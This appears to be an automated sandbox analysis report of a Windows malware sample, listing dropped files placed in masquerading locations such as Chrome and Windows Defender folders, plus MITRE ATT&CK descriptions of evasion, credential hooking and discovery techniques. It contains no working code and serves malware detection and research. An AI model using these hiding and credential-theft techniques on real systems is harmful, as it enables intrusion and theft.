Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\Program Files\Windows Defender\Platform\66fc9ff0ee96c2

C:\Program Files\Windows Defender\Platform\sihost.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ServerComponenthostMonitorDll.exe.log

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

C:\Users\user\AppData\Local\Temp\RESF04D.tmp

C:\Users\user\AppData\Local\Temp\UqurQlZIBi

Windows Analysis Report
AstralprivateDLL.exe.bin.exe

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre